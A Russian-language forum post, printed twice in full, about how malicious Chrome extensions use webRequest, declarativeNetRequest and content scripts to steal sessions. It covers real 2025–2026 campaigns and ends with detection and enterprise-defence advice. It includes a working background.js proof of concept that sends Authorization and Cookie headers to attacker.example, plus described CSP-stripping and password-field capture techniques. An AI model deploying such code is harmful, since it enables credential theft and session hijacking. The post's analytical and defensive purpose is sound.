Сергей Попов
21.04.2026, 00:19
https://forum.antichat.xyz/attachments/4951643/img_1ec8256e35.png
Вы устанавливаете расширение-переводчик в Chrome. Оно честно переводит страницы. А в фоне - стягивает каждый Authorization-заголовок и сливает ваш Bearer-токен на сервер атакующего через обычный
fetch()
. Никакого эксплойта, никакого 0-day. Расширение просто пользуется API, который браузер ему сам отдал на блюдечке.
Я разбираю вредоносные расширения профессионально: пишу PoC-расширения, злоупотребляющие
webRequest
для перехвата куков и заголовков, препарирую реальные семплы из Chrome Web Store через Burp Suite и
mitmproxy
. Покажу, как именно работает перехват трафика браузерным расширением на уровне кода - от
webRequest
в Manifest V2 до
declarativeNetRequest
в Manifest V3 - и почему переход на MV3 не закрыл ключевые векторы. Спойлер: проблема фундаментальнее, чем Google хочет признать.
Почему вредоносные расширения браузера - идеальный вектор атаки
Браузерные расширения сидят в уникальной позиции: работают внутри браузера, но с привилегиями, недоступными обычным веб-страницам. Расширение с правом
видит содержимое каждой страницы - интернет-банк, корпоративный портал, почта. Всё как на ладони.
Согласно исследованию на arxiv.org ("A Study on Malicious Browser Extensions in 2025"), вредоносные расширения (MBE) используются для фишинга, кейлоггинга, шпионажа, кражи данных и перехвата сессий. Исследователи успешно обошли механизмы безопасности Firefox и Chrome, показав, что вредоносные расширения по-прежнему можно разработать, опубликовать и запустить через официальные магазины. Модерация в обоих - дырявое решето.
По данным Chromium Blog, среди вредоносных расширений, обнаруженных с января 2018 года, 42% злоупотребляли блокирующим режимом webRequest для модификации трафика. При этом пользователи воспринимают расширения как безопасные - они же из официального магазина. Как метко замечают в Kaspersky: «если исполняемых файлов из непроверенных источников многие уже привыкли опасаться, то от браузерных расширений, загруженных из официального магазина, обычно никто не ждет подвоха».
В терминологии MITRE ATT&CK установка вредоносного расширения - это техника Browser Extensions (T1176.001, Persistence). Расширение может прилететь через вредоносную загрузку из магазина, через социальную инженерию или от злоумышленника, уже получившего доступ к системе. После установки - устойчивый доступ к жертве, который переживает перезагрузку и обновления браузера.
webRequest API: как расширения Chrome читают трафик целиком
chrome.webRequest
- API, который позволяет расширению наблюдать за каждым HTTP/HTTPS-запросом и модифицировать его до отправки или после получения ответа. Когда расширение вешает обработчик на
onBeforeSendHeaders
, Chrome передаёт ему полные заголовки запроса:
Cookie
,
Authorization
,
X-CSRF-Token
- всё, что нужно для угона сессии.
Технически процесс простой: браузер формирует запрос, но перед отправкой на сервер отдаёт все данные расширению. URL, метод, заголовки - на, держи, делай что хочешь. Расширение может пропустить запрос, заблокировать, подменить заголовки или тупо скопировать токены и слить их к себе.
Как объясняет Chromium Blog: «Chrome sends all the data in a network request to the listening extension - including any sensitive data contained in that request like personal photos or emails. The extension has a chance to evaluate the request, and then tells Chrome what to do with the request: allow it, block it, or send it with some modifications».
Перехват Authorization-заголовков и сессионных cookie
Минимальный перехватчик в
background.js
расширения Manifest V2, который крадёт Bearer-токены. Chrome завершил поэтапный отказ от MV2 в 2024–2025 - этот PoC работает только в legacy-окружениях, через enterprise force-install или в браузерах, всё ещё поддерживающих MV2 (Firefox, привет). В MV3 наблюдательный
webRequest
работает без
"blocking"
, но тоже требует разрешения
webRequest
:
JavaScript:
chrome
.
webRequest
.
onBeforeSendHeaders
.
addListener
(
function
(
details
)
{
let
dominated
=
details
.
requestHeaders
;
for
(
let
h
of
dominated
)
{
if
(
h
.
name
===
"Authorization"
||
h
.
name
===
"Cookie"
)
{
fetch
(
"https://attacker.example/collect"
,
{
method
:
"POST"
,
body
:
JSON
.
stringify
(
{
url
:
details
.
url
,
header
:
h
.
value
}
)
}
)
;
}
}
return
{
requestHeaders
:
dominated
}
;
}
,
{
urls
:
[
""
]
}
,
[
"requestHeaders"
,
"blocking"
]
)
;
Разберём построчно. Слушатель на
onBeforeSendHeaders
срабатывает для каждого запроса. Фильтр
{urls: [""]}
- перехват всего трафика без исключений. Флаг
"blocking"
даёт синхронный доступ к заголовкам до отправки. Внутри обработчика код перебирает заголовки, находит
Authorization
(Bearer-токен для API) и
Cookie
(сессионные куки), после чего сливает их на сервер атакующего обычным
fetch()
. Одиннадцать строк - и у атакующего ваша сессия.
Жертва не увидит ничего. Страницы грузятся нормально, запросы уходят без задержки, в DevTools - тишина. Расширение работает на уровне, к которому обычные инструменты разработчика имеют ограниченный доступ.
В терминах MITRE ATT&CK этот паттерн покрывает сразу несколько техник: Steal Web Session Cookie (T1539, Credential Access) - кража сессионных куков, и Browser Session Hijacking (T1185, Collection) - перехват активных веб-сессий. Если токен - это TOTP-seed или 2FA-код, как в случае с расширением CL Suite, обнаруженным Socket (по данным The Hacker News), атакующий получает полный доступ к аккаунту. Двухфакторка не спасает - расширение сидит внутри периметра доверия.
Эксфильтрация данных через стандартные веб-протоколы
Обратите внимание: данные утекают не через какой-то скрытый канал, а через обычный HTTPS POST. Это техники Exfiltration Over C2 Channel (T1041, Exfiltration) и Web Protocols (T1071.001, Command and Control) по MITRE ATT&CK. Трафик к серверу атакующего выглядит как обычный запрос к веб-сайту - попробуй отличи от легитимного, особенно если C2-сервер сидит на домене
.com
или
.pro
. В кейсе CL Suite данные уходили на
getauth[.]pro
, а оттуда дублировались в Telegram-канал атакующего. Удобно, да?
declarativeNetRequest в Manifest V3: ложное чувство безопасности
Google представил Manifest V3 и
declarativeNetRequest
как замену
webRequest
, позиционируя переход как шаг к безопасности. Идея: вместо того чтобы передавать расширению все данные запроса, расширение заранее регистрирует правила - «если URL соответствует паттерну, выполни действие». Браузер применяет правила сам, без передачи данных расширению.
На бумаге звучит красиво. На практике - другая история.
Почему Manifest V3 не закрыл все векторы перехвата
Первый момент, и он критический: наблюдающая (observational) часть webRequest API никуда не делась. Как отметили на Hacker News: «The privacy arguments are untrue because the Observational capabilities of the WebRequest API aren't being deprecated». Расширение в MV3 по-прежнему наблюдает за сетевыми запросами - теряет только возможность блокировки. Но для кражи данных блокировка и не нужна. Достаточно посмотреть.
Второй момент:
declarativeNetRequest
сам по себе - отличный инструмент для атаки. По данным Computerra, «пять расширений использовали легитимный API Chrome (
declarativeNetRequest
) для удаления заголовков безопасности еще до загрузки страниц». Что это значит на практике? Расширение регистрирует правило, которое убирает
Content-Security-Policy
,
X-Frame-Options
или
Strict-Transport-Security
из ответов серверов. Страница остаётся голой - уязвимой к XSS, clickjacking и MITM-downgrade атакам, которые в нормальных условиях браузер бы зарубил.
Правило для удаления CSP - JSON-объект в файле правил:
action: "modifyHeaders"
, целевой заголовок
Content-Security-Policy
, операция
remove
. Для
modifyHeaders
нужны
host_permissions
на целевой домен. Правило лежит в
rules.json
и формально анализируется при review в Chrome Web Store - но автоматические проверки CWS исторически пропускали такие правила, как показали исследования SquareX и Koi Security. На словах «контроль», а по факту — заходи кто хочет.
Третий момент: DEF CON 32. Согласно arxiv.org-исследованию, команда SquareX показала, что даже в рамках Manifest V3 вредоносные расширения обходят защитные меры, крадут live-стримы, куки и учётные данные. MV3 усложнил некоторые атаки, но фундаментальную проблему не решил: расширения по-прежнему наследуют разрешения браузера и имеют доступ к контенту страниц. У меня складывется ощущение, что MV3 - это скорее PR-ход, чем реальная мера безопасности.
Content Script Injection: man-in-the-browser изнутри страницы
Перехват трафика - не единственный вектор. Content scripts инжектируются прямо в DOM загруженной страницы и выполняются в контексте её origin. Классический man-in-the-browser, где расширение - шпион внутри каждой вкладки.
Кейлоггинг и перехват форм через DOM
Content script вешает
addEventListener("keydown", ...)
на
document
и записывает каждое нажатие клавиши. Техника Keylogging (T1056.001, Collection / Credential Access) по MITRE ATT&CK. Исследователи из arxiv.org-работы продемонстрировали рабочий кейлоггер в расширении - записывал все нажатия и отправлял на удалённый сервер.
Но профессиональные MBE работают хитрее. Вместо глобального кейлоггинга они бьют точечно: находят в DOM элементы
input[type="password"]
,
input[name="email"]
, формы авторизации OAuth - и перехватывают значения в момент отправки формы. Минимум трафика, максимум результата, и детектировать это на порядок сложнее.
Пример из реальной кампании: расширение CL Suite (по данным The Hacker News) маскировалось под инструмент для работы с Meta Business Suite. Оно не перехватывало пароли, но тянуло TOTP-seed (секрет для генерации одноразовых паролей), CSV-экспорты контактных списков Business Manager и аналитику - всё через content script, работающий на
meta.com
и
facebook.com
.
Ещё один вектор: расширение может подменять содержимое страницы. Исследователи arxiv.org показали расширение, которое меняло контент - например, подставляло адреса кошельков атакующего в формы перевода криптовалюты. Формально это не перехват трафика, но результат тот же - деньги жертвы уходят не туда.
Реальные кампании 2025–2026: масштаб и техники
Теория - это хорошо, но реальные кейсы убеждают лучше. Три крупные кампании последних месяцев, каждая - с уникальным техническим подходом.
Кампания VK Styles: 500 000 угнанных аккаунтов
По данным The Hacker News, около 500 000 пользователей ВКонтакте были скомпрометированы через Chrome-расширения, маскировавшиеся под инструменты кастомизации VK. Расширения автоматически подписывали жертв на группы атакующего, сбрасывали настройки аккаунта каждые 30 дней, манипулировали CSRF-токенами для обхода защиты VK и поддерживали персистентный контроль.
Технически интересен механизм управления: расширения использовали HTML-метатеги профиля VK (
vk[.]com/m0nda
) как dead drop resolver - прятали URL следующей стадии пейлоада в метаданных обычного профиля соцсети. Обфусцированный JavaScript хостился в публичном GitHub-репозитории с 17 коммитами между июнем 2025 и январём 2026. Как отметил исследователь Ariel Cohen из Koi Security: «это не небрежная малварь, это поддерживаемый софтверный проект с контролем версий». Согласен - тут чувствуется инженерный подход.
Кампания AiFrame: 260 000 установок под видом AI-ассистентов
Кластер из 32 расширений, маскирующихся под AI-ассистенты (ChatGPT, Gemini, DeepSeek, Grok), обнаружен с совокупными 260 000 установок. По данным LayerX (через The Hacker News), расширения не реализовывали AI-функции локально, а встраивали удалённые iframe, управляемые сервером, и работали как привилегированные прокси - отдавали удалённой инфраструктуре доступ к чувствительным возможностям браузера. Красивый фантик «AI-помощника», а внутри - бэкдор.
57 скрытых расширений с 6 миллионами пользователей
По данным Kaspersky, исследователь Джон Такнер обнаружил 57 подозрительных расширений, скрытых от индексирования в Chrome Web Store. Ключевой IoC - домен
unknow[.]com
(опечатка в «unknown» - уже должно насторожить), найденный в коде расширения Fire Shield Extension Protection. Расширения запрашивали доступ к Cookie (включая аутентификационные), могли внедрять скрипты на страницы и активировали расширенное отслеживание по команде с удалённого сервера. Причём отслеживание запускалось не сразу, а спустя время после установки - классический приём отложенной активации для обхода модерации. Сначала тихо, потом - карт-бланш.
Маппинг полной цепочки атаки на MITRE ATT&CK
Вредоносное расширение - не одна техника, а полноценная цепочка. Вот как типичная MBE-атака раскладывается по тактикам MITRE ATT&CK:
ЭтапТактикаТехника ATT&CKПример в расширенииУстановкаPersistenceB rowser Extensions (T1176.001)Публикация в Chrome Web Store под видом утилитыПерехват вводаCredential AccessKeylogging (T1056.001)Content script с addEventListener на keydownКража сессийCredential AccessSteal Web Session Cookie (T1539)webRequest перехватывает Cookie-заголовкиЗахват сессийCollectionBrowser Session Hijacking (T1185)Извлечение Telegram-токенов каждые 15 секундКража паролейCredential AccessCredentials from Web Browsers (T1555.003)Перехват полей input[type=password] через DOMЭксфильтрацияExfiltrationExfiltrat ion Over C2 Channel (T1041)fetch() на attacker.example/collectУправлениеCommand and ControlWeb Protocols (T1071.001)HTTPS POST к C2, дублирование в Telegram
Как обнаружить и защититься от вредоносных расширений
От теории атак - к практике защиты. Три уровня: анализ расширений, мониторинг сети, организационные меры.
Аудит manifest.json и permissions расширений
Первое - открыть
manifest.json
. Заходим в
chrome://extensions
, включаем режим разработчика, смотрим путь к файлам расширения. В манифесте ищем:
""
или
":///*"
- доступ ко всем сайтам. Для переводчика оправдано, для «гоночной игры» - нет
"webRequest"
и
"webRequestBlocking"
- прямой доступ к перехвату и модификации трафика
"cookies"
- чтение аутентификационных куков
"declarativeNetRequest"
в сочетании с правилами
modifyHeaders
- удаление заголовков безопасности
"content_scripts"
с
"matches": [""]
- инъекция кода во все страницы
Дальше -
background.js
(или
service_worker
в MV3). Ищем вызовы
fetch()
или
XMLHttpRequest
к доменам, не связанным с заявленной функцией расширения. Обфускация - красный флаг:
atob()
,
eval()
, конкатенация строк для формирования URL. Если видите
atob("aHR0cHM6Ly...")
- это кто-то прячет адрес C2.
Мониторинг сетевой активности расширений
На уровне сети -
mitmproxy
или Wireshark для верификации утечек. Ставим подозрительное расширение в изолированный профиль Chrome, гоним трафик через
mitmproxy -p 8080
(нужна установка CA-сертификата mitmproxy для расшифровки HTTPS) и смотрим исходящие запросы. Фильтруем по доменам, не входящим в ожидаемый scope.
https://forum.antichat.xyz/attachments/4951643/1776712104407.png
Для корпоративной среды: Chrome Enterprise позволяет принудительно управлять расширениями через групповые политики. Политика
ExtensionSettings
с
installation_mode: blocked
по умолчанию и явным allowlist по ID - более гранулярный подход, чем пара Allowlist/Blocklist. Учитывайте, что component-расширения Chrome и force-installed (через
ExtensionInstallForcelist
) не блокируются этими политиками. Вектор сужается существенно, но требует сопровождения списка.
Что делать прямо сейчас
Практический чеклист для security-инженера:
Проведите инвентаризацию расширений на всех корпоративных устройствах. В Chrome автоматизируется через
chrome://policy
и endpoint management.
Сверьте установленные расширения со списком известных вредоносных ID. Расширения из кампаний VK Styles (
ceibjdigmfbbgcpkkdpmjokkokklodmc
,
mflibpdjoodmoppignjhciadahapkoch
и др.) и AiFrame (
nlhpidbjmmffhoogcennoiopekbiglbp
,
gcfianbpjcfkafpiadmheejkokcmdkjl
и др.) - удалить немедленно.
После удаления подозрительного расширения - завершите все активные сессии в критичных сервисах (Telegram, почта, облачные консоли) и смените пароли. Не «когда-нибудь потом», а сейчас.
Для Firefox: процесс аналогичен. Проверяем
manifest.json
через
about:debugging#/runtime/this-firefox
.
Внедрите мониторинг DNS-запросов от рабочих станций к нетипичным доменам - поможет обнаружить C2-коммуникации расширений.
Вопрос к читателям
В кампании VK Styles расширения использовали dead drop resolver через HTML-метатеги профиля VK для скрытия URL пейлоада, а AiFrame встраивала удалённые iframe как привилегированные прокси. У кого из вас в корпоративной политике Chrome настроен
ExtensionInstallBlocklist: *
с явным allowlist? Какие конкретно ID расширений вы оставляете в белом списке - и проверяете ли вы их
manifest.json
на
webRequest
/
declarativeNetRequest
permissions при каждом обновлении? Покажите фрагмент вашей GPO или JSON-политики - интересно сравнить подходы.
Вы устанавливаете расширение-переводчик в Chrome. Оно честно переводит страницы. А в фоне - стягивает каждый Authorization-заголовок и сливает ваш Bearer-токен на сервер атакующего через обычный
fetch()
. Никакого эксплойта, никакого 0-day. Расширение просто пользуется API, который браузер ему сам отдал на блюдечке.
Я разбираю вредоносные расширения профессионально: пишу PoC-расширения, злоупотребляющие
webRequest
для перехвата куков и заголовков, препарирую реальные семплы из Chrome Web Store через Burp Suite и
mitmproxy
. Покажу, как именно работает перехват трафика браузерным расширением на уровне кода - от
webRequest
в Manifest V2 до
declarativeNetRequest
в Manifest V3 - и почему переход на MV3 не закрыл ключевые векторы. Спойлер: проблема фундаментальнее, чем Google хочет признать.
Почему вредоносные расширения браузера - идеальный вектор атаки
Браузерные расширения сидят в уникальной позиции: работают внутри браузера, но с привилегиями, недоступными обычным веб-страницам. Расширение с правом
видит содержимое каждой страницы - интернет-банк, корпоративный портал, почта. Всё как на ладони.
Согласно исследованию на arxiv.org ("A Study on Malicious Browser Extensions in 2025"), вредоносные расширения (MBE) используются для фишинга, кейлоггинга, шпионажа, кражи данных и перехвата сессий. Исследователи успешно обошли механизмы безопасности Firefox и Chrome, показав, что вредоносные расширения по-прежнему можно разработать, опубликовать и запустить через официальные магазины. Модерация в обоих - дырявое решето.
По данным Chromium Blog, среди вредоносных расширений, обнаруженных с января 2018 года, 42% злоупотребляли блокирующим режимом webRequest для модификации трафика. При этом пользователи воспринимают расширения как безопасные - они же из официального магазина. Как метко замечают в Kaspersky: «если исполняемых файлов из непроверенных источников многие уже привыкли опасаться, то от браузерных расширений, загруженных из официального магазина, обычно никто не ждет подвоха».
В терминологии MITRE ATT&CK установка вредоносного расширения - это техника Browser Extensions (T1176.001, Persistence). Расширение может прилететь через вредоносную загрузку из магазина, через социальную инженерию или от злоумышленника, уже получившего доступ к системе. После установки - устойчивый доступ к жертве, который переживает перезагрузку и обновления браузера.
webRequest API: как расширения Chrome читают трафик целиком
chrome.webRequest
- API, который позволяет расширению наблюдать за каждым HTTP/HTTPS-запросом и модифицировать его до отправки или после получения ответа. Когда расширение вешает обработчик на
onBeforeSendHeaders
, Chrome передаёт ему полные заголовки запроса:
Cookie
,
Authorization
,
X-CSRF-Token
- всё, что нужно для угона сессии.
Технически процесс простой: браузер формирует запрос, но перед отправкой на сервер отдаёт все данные расширению. URL, метод, заголовки - на, держи, делай что хочешь. Расширение может пропустить запрос, заблокировать, подменить заголовки или тупо скопировать токены и слить их к себе.
Как объясняет Chromium Blog: «Chrome sends all the data in a network request to the listening extension - including any sensitive data contained in that request like personal photos or emails. The extension has a chance to evaluate the request, and then tells Chrome what to do with the request: allow it, block it, or send it with some modifications».
Перехват Authorization-заголовков и сессионных cookie
Минимальный перехватчик в
background.js
расширения Manifest V2, который крадёт Bearer-токены. Chrome завершил поэтапный отказ от MV2 в 2024–2025 - этот PoC работает только в legacy-окружениях, через enterprise force-install или в браузерах, всё ещё поддерживающих MV2 (Firefox, привет). В MV3 наблюдательный
webRequest
работает без
"blocking"
, но тоже требует разрешения
webRequest
:
JavaScript:
chrome
.
webRequest
.
onBeforeSendHeaders
.
addListener
(
function
(
details
)
{
let
dominated
=
details
.
requestHeaders
;
for
(
let
h
of
dominated
)
{
if
(
h
.
name
===
"Authorization"
||
h
.
name
===
"Cookie"
)
{
fetch
(
"https://attacker.example/collect"
,
{
method
:
"POST"
,
body
:
JSON
.
stringify
(
{
url
:
details
.
url
,
header
:
h
.
value
}
)
}
)
;
}
}
return
{
requestHeaders
:
dominated
}
;
}
,
{
urls
:
[
""
]
}
,
[
"requestHeaders"
,
"blocking"
]
)
;
Разберём построчно. Слушатель на
onBeforeSendHeaders
срабатывает для каждого запроса. Фильтр
{urls: [""]}
- перехват всего трафика без исключений. Флаг
"blocking"
даёт синхронный доступ к заголовкам до отправки. Внутри обработчика код перебирает заголовки, находит
Authorization
(Bearer-токен для API) и
Cookie
(сессионные куки), после чего сливает их на сервер атакующего обычным
fetch()
. Одиннадцать строк - и у атакующего ваша сессия.
Жертва не увидит ничего. Страницы грузятся нормально, запросы уходят без задержки, в DevTools - тишина. Расширение работает на уровне, к которому обычные инструменты разработчика имеют ограниченный доступ.
В терминах MITRE ATT&CK этот паттерн покрывает сразу несколько техник: Steal Web Session Cookie (T1539, Credential Access) - кража сессионных куков, и Browser Session Hijacking (T1185, Collection) - перехват активных веб-сессий. Если токен - это TOTP-seed или 2FA-код, как в случае с расширением CL Suite, обнаруженным Socket (по данным The Hacker News), атакующий получает полный доступ к аккаунту. Двухфакторка не спасает - расширение сидит внутри периметра доверия.
Эксфильтрация данных через стандартные веб-протоколы
Обратите внимание: данные утекают не через какой-то скрытый канал, а через обычный HTTPS POST. Это техники Exfiltration Over C2 Channel (T1041, Exfiltration) и Web Protocols (T1071.001, Command and Control) по MITRE ATT&CK. Трафик к серверу атакующего выглядит как обычный запрос к веб-сайту - попробуй отличи от легитимного, особенно если C2-сервер сидит на домене
.com
или
.pro
. В кейсе CL Suite данные уходили на
getauth[.]pro
, а оттуда дублировались в Telegram-канал атакующего. Удобно, да?
declarativeNetRequest в Manifest V3: ложное чувство безопасности
Google представил Manifest V3 и
declarativeNetRequest
как замену
webRequest
, позиционируя переход как шаг к безопасности. Идея: вместо того чтобы передавать расширению все данные запроса, расширение заранее регистрирует правила - «если URL соответствует паттерну, выполни действие». Браузер применяет правила сам, без передачи данных расширению.
На бумаге звучит красиво. На практике - другая история.
Почему Manifest V3 не закрыл все векторы перехвата
Первый момент, и он критический: наблюдающая (observational) часть webRequest API никуда не делась. Как отметили на Hacker News: «The privacy arguments are untrue because the Observational capabilities of the WebRequest API aren't being deprecated». Расширение в MV3 по-прежнему наблюдает за сетевыми запросами - теряет только возможность блокировки. Но для кражи данных блокировка и не нужна. Достаточно посмотреть.
Второй момент:
declarativeNetRequest
сам по себе - отличный инструмент для атаки. По данным Computerra, «пять расширений использовали легитимный API Chrome (
declarativeNetRequest
) для удаления заголовков безопасности еще до загрузки страниц». Что это значит на практике? Расширение регистрирует правило, которое убирает
Content-Security-Policy
,
X-Frame-Options
или
Strict-Transport-Security
из ответов серверов. Страница остаётся голой - уязвимой к XSS, clickjacking и MITM-downgrade атакам, которые в нормальных условиях браузер бы зарубил.
Правило для удаления CSP - JSON-объект в файле правил:
action: "modifyHeaders"
, целевой заголовок
Content-Security-Policy
, операция
remove
. Для
modifyHeaders
нужны
host_permissions
на целевой домен. Правило лежит в
rules.json
и формально анализируется при review в Chrome Web Store - но автоматические проверки CWS исторически пропускали такие правила, как показали исследования SquareX и Koi Security. На словах «контроль», а по факту — заходи кто хочет.
Третий момент: DEF CON 32. Согласно arxiv.org-исследованию, команда SquareX показала, что даже в рамках Manifest V3 вредоносные расширения обходят защитные меры, крадут live-стримы, куки и учётные данные. MV3 усложнил некоторые атаки, но фундаментальную проблему не решил: расширения по-прежнему наследуют разрешения браузера и имеют доступ к контенту страниц. У меня складывется ощущение, что MV3 - это скорее PR-ход, чем реальная мера безопасности.
Content Script Injection: man-in-the-browser изнутри страницы
Перехват трафика - не единственный вектор. Content scripts инжектируются прямо в DOM загруженной страницы и выполняются в контексте её origin. Классический man-in-the-browser, где расширение - шпион внутри каждой вкладки.
Кейлоггинг и перехват форм через DOM
Content script вешает
addEventListener("keydown", ...)
на
document
и записывает каждое нажатие клавиши. Техника Keylogging (T1056.001, Collection / Credential Access) по MITRE ATT&CK. Исследователи из arxiv.org-работы продемонстрировали рабочий кейлоггер в расширении - записывал все нажатия и отправлял на удалённый сервер.
Но профессиональные MBE работают хитрее. Вместо глобального кейлоггинга они бьют точечно: находят в DOM элементы
input[type="password"]
,
input[name="email"]
, формы авторизации OAuth - и перехватывают значения в момент отправки формы. Минимум трафика, максимум результата, и детектировать это на порядок сложнее.
Пример из реальной кампании: расширение CL Suite (по данным The Hacker News) маскировалось под инструмент для работы с Meta Business Suite. Оно не перехватывало пароли, но тянуло TOTP-seed (секрет для генерации одноразовых паролей), CSV-экспорты контактных списков Business Manager и аналитику - всё через content script, работающий на
meta.com
и
facebook.com
.
Ещё один вектор: расширение может подменять содержимое страницы. Исследователи arxiv.org показали расширение, которое меняло контент - например, подставляло адреса кошельков атакующего в формы перевода криптовалюты. Формально это не перехват трафика, но результат тот же - деньги жертвы уходят не туда.
Реальные кампании 2025–2026: масштаб и техники
Теория - это хорошо, но реальные кейсы убеждают лучше. Три крупные кампании последних месяцев, каждая - с уникальным техническим подходом.
Кампания VK Styles: 500 000 угнанных аккаунтов
По данным The Hacker News, около 500 000 пользователей ВКонтакте были скомпрометированы через Chrome-расширения, маскировавшиеся под инструменты кастомизации VK. Расширения автоматически подписывали жертв на группы атакующего, сбрасывали настройки аккаунта каждые 30 дней, манипулировали CSRF-токенами для обхода защиты VK и поддерживали персистентный контроль.
Технически интересен механизм управления: расширения использовали HTML-метатеги профиля VK (
vk[.]com/m0nda
) как dead drop resolver - прятали URL следующей стадии пейлоада в метаданных обычного профиля соцсети. Обфусцированный JavaScript хостился в публичном GitHub-репозитории с 17 коммитами между июнем 2025 и январём 2026. Как отметил исследователь Ariel Cohen из Koi Security: «это не небрежная малварь, это поддерживаемый софтверный проект с контролем версий». Согласен - тут чувствуется инженерный подход.
Кампания AiFrame: 260 000 установок под видом AI-ассистентов
Кластер из 32 расширений, маскирующихся под AI-ассистенты (ChatGPT, Gemini, DeepSeek, Grok), обнаружен с совокупными 260 000 установок. По данным LayerX (через The Hacker News), расширения не реализовывали AI-функции локально, а встраивали удалённые iframe, управляемые сервером, и работали как привилегированные прокси - отдавали удалённой инфраструктуре доступ к чувствительным возможностям браузера. Красивый фантик «AI-помощника», а внутри - бэкдор.
57 скрытых расширений с 6 миллионами пользователей
По данным Kaspersky, исследователь Джон Такнер обнаружил 57 подозрительных расширений, скрытых от индексирования в Chrome Web Store. Ключевой IoC - домен
unknow[.]com
(опечатка в «unknown» - уже должно насторожить), найденный в коде расширения Fire Shield Extension Protection. Расширения запрашивали доступ к Cookie (включая аутентификационные), могли внедрять скрипты на страницы и активировали расширенное отслеживание по команде с удалённого сервера. Причём отслеживание запускалось не сразу, а спустя время после установки - классический приём отложенной активации для обхода модерации. Сначала тихо, потом - карт-бланш.
Маппинг полной цепочки атаки на MITRE ATT&CK
Вредоносное расширение - не одна техника, а полноценная цепочка. Вот как типичная MBE-атака раскладывается по тактикам MITRE ATT&CK:
ЭтапТактикаТехника ATT&CKПример в расширенииУстановкаPersistenceB rowser Extensions (T1176.001)Публикация в Chrome Web Store под видом утилитыПерехват вводаCredential AccessKeylogging (T1056.001)Content script с addEventListener на keydownКража сессийCredential AccessSteal Web Session Cookie (T1539)webRequest перехватывает Cookie-заголовкиЗахват сессийCollectionBrowser Session Hijacking (T1185)Извлечение Telegram-токенов каждые 15 секундКража паролейCredential AccessCredentials from Web Browsers (T1555.003)Перехват полей input[type=password] через DOMЭксфильтрацияExfiltrationExfiltrat ion Over C2 Channel (T1041)fetch() на attacker.example/collectУправлениеCommand and ControlWeb Protocols (T1071.001)HTTPS POST к C2, дублирование в Telegram
Как обнаружить и защититься от вредоносных расширений
От теории атак - к практике защиты. Три уровня: анализ расширений, мониторинг сети, организационные меры.
Аудит manifest.json и permissions расширений
Первое - открыть
manifest.json
. Заходим в
chrome://extensions
, включаем режим разработчика, смотрим путь к файлам расширения. В манифесте ищем:
""
или
":///*"
- доступ ко всем сайтам. Для переводчика оправдано, для «гоночной игры» - нет
"webRequest"
и
"webRequestBlocking"
- прямой доступ к перехвату и модификации трафика
"cookies"
- чтение аутентификационных куков
"declarativeNetRequest"
в сочетании с правилами
modifyHeaders
- удаление заголовков безопасности
"content_scripts"
с
"matches": [""]
- инъекция кода во все страницы
Дальше -
background.js
(или
service_worker
в MV3). Ищем вызовы
fetch()
или
XMLHttpRequest
к доменам, не связанным с заявленной функцией расширения. Обфускация - красный флаг:
atob()
,
eval()
, конкатенация строк для формирования URL. Если видите
atob("aHR0cHM6Ly...")
- это кто-то прячет адрес C2.
Мониторинг сетевой активности расширений
На уровне сети -
mitmproxy
или Wireshark для верификации утечек. Ставим подозрительное расширение в изолированный профиль Chrome, гоним трафик через
mitmproxy -p 8080
(нужна установка CA-сертификата mitmproxy для расшифровки HTTPS) и смотрим исходящие запросы. Фильтруем по доменам, не входящим в ожидаемый scope.
https://forum.antichat.xyz/attachments/4951643/1776712104407.png
Для корпоративной среды: Chrome Enterprise позволяет принудительно управлять расширениями через групповые политики. Политика
ExtensionSettings
с
installation_mode: blocked
по умолчанию и явным allowlist по ID - более гранулярный подход, чем пара Allowlist/Blocklist. Учитывайте, что component-расширения Chrome и force-installed (через
ExtensionInstallForcelist
) не блокируются этими политиками. Вектор сужается существенно, но требует сопровождения списка.
Что делать прямо сейчас
Практический чеклист для security-инженера:
Проведите инвентаризацию расширений на всех корпоративных устройствах. В Chrome автоматизируется через
chrome://policy
и endpoint management.
Сверьте установленные расширения со списком известных вредоносных ID. Расширения из кампаний VK Styles (
ceibjdigmfbbgcpkkdpmjokkokklodmc
,
mflibpdjoodmoppignjhciadahapkoch
и др.) и AiFrame (
nlhpidbjmmffhoogcennoiopekbiglbp
,
gcfianbpjcfkafpiadmheejkokcmdkjl
и др.) - удалить немедленно.
После удаления подозрительного расширения - завершите все активные сессии в критичных сервисах (Telegram, почта, облачные консоли) и смените пароли. Не «когда-нибудь потом», а сейчас.
Для Firefox: процесс аналогичен. Проверяем
manifest.json
через
about:debugging#/runtime/this-firefox
.
Внедрите мониторинг DNS-запросов от рабочих станций к нетипичным доменам - поможет обнаружить C2-коммуникации расширений.
Вопрос к читателям
В кампании VK Styles расширения использовали dead drop resolver через HTML-метатеги профиля VK для скрытия URL пейлоада, а AiFrame встраивала удалённые iframe как привилегированные прокси. У кого из вас в корпоративной политике Chrome настроен
ExtensionInstallBlocklist: *
с явным allowlist? Какие конкретно ID расширений вы оставляете в белом списке - и проверяете ли вы их
manifest.json
на
webRequest
/
declarativeNetRequest
permissions при каждом обновлении? Покажите фрагмент вашей GPO или JSON-политики - интересно сравнить подходы.